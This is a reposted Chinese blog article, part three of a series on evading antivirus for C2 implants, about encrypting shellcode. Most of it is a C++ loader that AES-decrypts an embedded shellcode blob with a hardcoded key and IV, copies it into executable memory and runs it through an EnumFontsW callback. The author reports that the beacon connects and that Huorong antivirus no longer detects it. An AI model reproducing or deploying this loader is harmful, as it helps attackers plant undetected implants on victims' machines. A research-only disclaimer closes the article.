#define _CRT_SECURE_NO_DEPRECATE#include<iostream>#include<windows.h>#include"Shellcode加密库.h"#define BUF_SIZE 4096using namespace std;char g_key[17] = "OeQ)ph(:u#$_Rr<2";   //填写key密钥char g_iv[17] = "0(/IaOQ=>B&ETYDT";    //定义iv向量voidmain(int argc, char* argv[]){    // 加密后的shellcode(省略中间部分,实际中保留)    string buf = "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"// 略去过长部分    // 解密shellcode    string strbuf = DecryptionAES(buf, g_key, (char*)g_iv);    // 将解密的shellcode转换为字节数组    char* p = (char*)strbuf.c_str();    unsigned char* shellcode = (unsigned char*)calloc(strbuf.length() / 2sizeof(unsigned char));    for (size_t i = 0; i < strbuf.length() / 2; i++) {        sscanf(p, "%02x", &shellcode[i]);        p += 2;    }    int ShellcodeSize = strbuf.length() / 2;    printf("Decrypted buffer:n");    for (int i = 0; i < ShellcodeSize; i++) {        printf("\x%02x", shellcode[i]);    }    // 加载shellcode    char* orig_buffer = (char*)VirtualAlloc(nullptr, ShellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    RtlMoveMemory(orig_buffer, shellcode, ShellcodeSize);    // 执行shellcode    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)orig_buffer, NULL);}

测试,成功上线,代码没问题

【免杀】C2免杀技术(三)shellcode加密

打包编译出来,火绒不再查杀,可以正常上线!

【免杀】C2免杀技术(三)shellcode加密
结尾

免杀效果通常受多方面影响,没有哪一种技术或者手段能够通吃,通常需要多种手段结合才能最终实现免杀;其次,实战中面临的环境也不一样,不同的杀软效果也不一样,具体问题还需具体分析。本系列文章以技术的实现为主,仅拿火绒演示,以此表达一项技术的有效性。

原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(三)shellcode加密

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日16:12:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】C2免杀技术(三)shellcode加密https://cn-sec.com/archives/4070115.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息